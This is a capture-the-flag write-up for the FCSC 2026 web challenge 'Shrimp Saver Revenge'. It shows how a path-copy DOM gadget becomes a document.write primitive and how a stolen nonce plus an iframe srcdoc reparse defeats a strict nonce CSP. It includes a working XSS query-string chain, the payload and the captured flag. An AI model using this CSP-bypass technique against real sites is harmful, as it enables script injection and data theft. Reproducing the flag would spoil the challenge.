pwneglyph logo
web web-client prototype-pollution cspp path-copy-gadget dom csp-bypass nonce-reuse srcdoc-reparse iframe sethtmlunsafe document-write dom-write xss cookie-theft chrome

Same path-copy DOM gadget as Shrimp Saver, but the max_input_vars CSP break is patched. Use the gadget to write a script, steal the live nonce, fix the script's nonce attribute, then copy its outerHTML into an iframe srcdoc so the reparse runs it under a valid nonce.

Shrimp Saver Revenge — nonce reuse + srcdoc reparse to beat a strict CSP

CTF: FCSC 2026 · Category: Web (client-side) · Author: Mizu

What changed from the original

Identical app and the same app.js path-copy gadget as Shrimp Saver (read that first for the gadget mechanics). The difference is a new php.ini:

display_errors = Off
display_startup_errors = Off
log_errors = On

With display_errors off, the max_input_vars warning is no longer printed into the body, so the "headers already sent" CSP break is dead. We now need a real bypass of:

Content-Security-Policy: default-src 'self'; connect-src 'self'; script-src 'nonce-$nonce';

Goal is unchanged: same-origin JS in the Chrome bot → fetch('/flag.php')console.log (echoed back).

From path-copy to a DOM write primitive

The gadget calls blacklist.includes(part) on every traversed segment, and lets us assign target[lastPart] = value. Instead of eval (CSP-blocked), point a writable sink function at a DOM HTML sink. Two wrinkles, both visible while testing:

  • blacklist.includes = document.write throws Illegal invocation (wrong this). Fix: set blacklist = document first so this is correct, or use document.body.setHTMLUnsafe.
  • Reassigning blacklist and blacklist.includes in the same request crashes mid-iteration because the intermediate object doesn't have the method yet. Stabilize by first swapping includes for a harmless total function — Array.isArray — so traversal never throws while you rewire things ("buffer state").

That gives a working HTML write into the document via the gadget.

Beating the nonce: write → re-nonce → srcdoc reparse

A nonce'd CSP means any <script> we inject has the wrong nonce and won't run. The trick chain:

  1. Steal the live nonce. The legit bootstrap script is the last body child: document.body.lastElementChild.nonce. Stash it in a global (e.g. document.n).
  2. Write an inert script + an empty iframe into the DOM via the write primitive: <script nonce=x>PAYLOAD</script><iframe></iframe> — wrong nonce, doesn't execute.
  3. Fix the script's nonce by copying the stolen nonce into the script's nonce attribute using the gadget's dotted-path navigation (children.N.attributes.0.value = document.n). Setting the content attribute (not just the IDL property) makes it serialize into outerHTML.
  4. Force a reparse by copying the script's outerHTML into the iframe's srcdoc (children.M.srcdoc = children.N.outerHTML). The browser parses the srcdoc document fresh and re-evaluates the inline script against the CSP again — and now the nonce matches → execution.

Manual confirmation from testing:

scrpt.setAttribute("nonce", "Fz+yGrwm5jml9pHNoR5JaA==");   // real nonce
ifrm.srcdoc = scrpt.outerHTML;                              // reparse → runs under valid nonce

Final payload

All inside one query string (URL-encode &/= properly — using the form encoder corrupts the structure). The injected script avoids . and uses top[...] because it runs inside the srcdoc frame:

top['fetch']('/flag%2ephp')['then'](r=>r['text']())['then'](x=>top['console']['log'](x))

Parameter order (conceptual):

?ownerDocument.n=ownerDocument.body.lastElementChild.nonce                 # 1. steal nonce
&<script nonce=x>...payload...</script><iframe></iframe>=ownerDocument      # (writes markup via sink)
&ownerDocument.includes=ownerDocument.defaultView.Array.isArray            # 2. stabilize traversal
&ownerDocument.defaultView.blacklist=ownerDocument
&ownerDocument.defaultView.blacklist.includes=ownerDocument.write          #    write primitive
&x=<script nonce=x>...payload...</script><iframe></iframe>                  #    inert script + iframe
&children.2.attributes.0.value=ownerDocument.n                            # 3. fix script nonce
&children.3.srcdoc=children.2.outerHTML                                    # 4. reparse  XSS

The reparsed script fetches /flag.php (the bot's cookie is sent same-origin) and console.logs the response → flag relayed back.

Flag: FCSC{04738852565c8dbb418e3af0a3eb0da3a2c9592859422fdbac645ef5fd181166}

Takeaways (generalized technique)

  • Nonce reuse + reparse is a general nonce-CSP bypass when you have a DOM-write primitive but can't inject a correctly-nonced script directly: read an existing valid nonce from the DOM, build a script carrying that nonce as a serialized attribute, then get the markup re-parsed (iframe srcdoc, setHTMLUnsafe, etc.) so CSP re-evaluates it and the nonce now matches.
  • Set the content attribute (setAttribute/children.x.attributes.0.value), not just the IDL property, so the nonce survives outerHTML serialization.
  • When rewiring functions used during a hot loop, first swap in a harmless total function (Array.isArray) to avoid mid-iteration crashes.
  • document.write/method sinks need correct this; bind the receiver (set blacklist = document) or use a self-contained sink like setHTMLUnsafe.

Sources & references